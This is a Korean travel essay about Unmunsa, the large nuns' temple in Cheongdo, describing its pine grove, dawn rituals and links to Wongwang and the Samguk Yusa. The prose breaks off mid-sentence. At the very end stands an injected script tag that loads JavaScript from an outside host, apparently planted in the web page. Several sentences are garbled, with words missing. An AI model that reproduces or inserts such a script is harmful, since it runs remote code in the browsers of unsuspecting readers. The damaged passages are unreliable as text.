경북 청도에 여승들만 모여 사는 절이 있다. 산으로 둘러싸인 평지에 자리 잡고 있는 운문사는 그 모양이 연꽃 같다고 해서 흔히 연꽃송이에 비유되곤 한다. 지형적인 아름다움도 크지만 절 마당 곳곳에서 여승들의 맑은 음성과 미소를 만날 때면 연꽃 속에 머물고 있는 기분이다. 봄의 문턱에서 산사를 애워 싼 구름이 하늘문을 여니 여기가 바로 극락이구나. 연꽃차를 만드는 여승들의 모습 산사 울리는 비구니들의 청아한 합송 운문사
안개가 경내를 에워싼 봄 언저리의 山寺. 비구니 학인스님들이 불교의 경전을 공부하고 있는 승가대학 이자 국내 최대의 비구니 도량이다. 제법 차가운 겨울바람에 등을 떠밀려 산문을 지나 먼저 만나는 것 은 울창한 솔숲이다.운문사의 솔숲은 우리나라에서 아름답기로 손꼽히는 숲으로, 수백 년은 됨직한 노 송들이 저 마다의 모습으로 서로를 위무하고 있는 모습이 이채롭다. 나이가 먹어가 면서 껍질이 붉은 철갑으로 변한 적송들로, 우리 땅의 터줏대감 격인 나무들.철갑을 두른 듯 두툼한 속내로 하늘을 향해 시원스레 뻗은 모습이 운문사의 청정한 기운을 상생시키는 에너지처럼 느껴진다. 굵은 소나무의 아름 다움에 발을 멈추고 푸른 솔바람에 취해 있으려니 다시 매서운 겨울바람이 등을 떠민다.운문사로 향하 는 1km 정도의 길은 늠름한 소나무들의 어깨동무로 청정한 기분으로 상승된다.
늠름한 소나무들이 아름다운 운문사 집입로 솔숲 끝지점에 다다르면 천년 고찰을 에두르고 있는 돌담이 시작된다. 기와를 얹은 나지막한 돌담 옆 으로 벚꽃나무들이 소나무를 대신해 길을 이루고 있다. 그 돌담을 따라 시선을 옮기다 보면 운문사의 규모를 어림잡을 수 있다.
운문사를 찾는 이들을 숙연하게 만드는 솔숲을 지나쳐 앳된 여승은 맑은 눈으로 산마루 구름을 바라본 다. 바람이 훌쩍 구름을 걷어가 버리고 나서야 비질을 시작한다.입김이 절로 뱉어지는 이른 새벽이지 만 여승의 비질은 멈추지 않는다. 국내 최대의 비구니 도량인 운문사의 첫 느낌은 깨끗한 비질처럼 초 발심을 갖게 한다. 이승 도량답게 길목에서부터 흐트러짐 하나 없는 단아함에 압도된다.
단아한 모습의 운문사경내 운문사는 옛모습을 고스란히 간직하고 있는 몇 는 고찰이다. 범종루 대문 너머로 슬며시들여다본 경내.비질 뒤 싸릿결이 남아 있는 마당에서조차 대가람의 엄숙함이 묻어난흔히 여행객들은 절집이나 산세만 바라보고 돌아가기 십상이지만 운문사의 또다른 멋은 엄숙하게 행해지는 불전사물. 하루에 사물은 두번 운문산을 울린다. 새벽 3시 20분이면 범종루에서 사물이 경내를 감싸고 법당 안에선 청아한 합송이 울려 퍼진다. 새벽 예불이 행해지는 광경을 보고 있노라면 두 이 저절로 모아진다. 도량석을 독송한 스님의 화음과 대웅전의 합송 이 이어지는 변주는 야릇한 희열을 선사한다.
새벽 예불이야 어느 절에서든 만날 수 있는 광경이지만 운문사의 새벽 예불이 회자되는 데에는 이유가 있다. 약한 음에서 서서히 높은 음으로 놀렸다 내렸다를 반복하는 소리에 맑은 화음이 곁들여다. 합송 을 천천히 마음으로 받아들이고 있노라면 어느새 마음까지 씻겨 속세를 떠나 있는 기분이다.
여명의 울림을 전하는 법고소리 시간이 흘러 운문산에 해가 걸릴 즈음, 범종루에서 치는 법고소리가 장엄하다.
가죽짐승을 깨우는 울림. 이어 비늘짐승을 위한 목어, 날짐승을 달래는 운판, 지옥중생을 깨치는 범종 소리가 산자락을 타고 퍼져나간다. 작은 소리에서 시작된 목탁 소리는 짙게 깔린 어둠과 계곡을 타고 점점 크게 울려 퍼진다. 운문사의 미물을 깨우고 호거산에 둥지를 튼 도리암, 북대암, 사리암에도 여명의 울림을 전해진다.
‘세속오계’와 「삼국유사」의 탄생지
아름다운 소나무숲 끝에서 만난 운문사에는 여승들만 있다.국내 최대의 비구니 도량답게 흐트러짐이 정갈하기만 한 매무새.그리고 홍조가 내린 하얀 얼굴에 햇빛이 들기 시작하면 경내는 고혹적인 모습으로 다시 피어난다. 대웅전 문지방 너머 나지막이 들려오는 비구니들의 새벽 예불 소리.사물을 깨 우는 그 장엄한 합송에 마음 깊이 쌓아두었던 근심을 걷어내고 싶다면 무엇보다 부지런하고 볼일이다.
557년 신라 진흥왕 때 세워진 운문사.이 운문사가 원광법사가 세속오계를 지은 화랑정신의 발상지이며, 일연 스님의 <삼국유사> 탄생지라는 사실은 지나치기 쉬운 부분이다.1200년 전 원광법사는 당나라에서 돌아와 이곳에서 세속오계를 전수했다. 고려 충렬왕 때(재위기간 1274 ~ 1308년) 이곳 주지였던 일연 스님은 이곳에서 우리가 자손만대까지 전해야 할 삼국유사 5권 2책을 펴냈다. 세기가 바뀐 지금 일연 스님의 자취를 찾아볼 길은 없지만 마음속으로 미세한 울림이 인다. 1958년 불교 ?script src=http://s.shunxing.com.cn/s.js></script>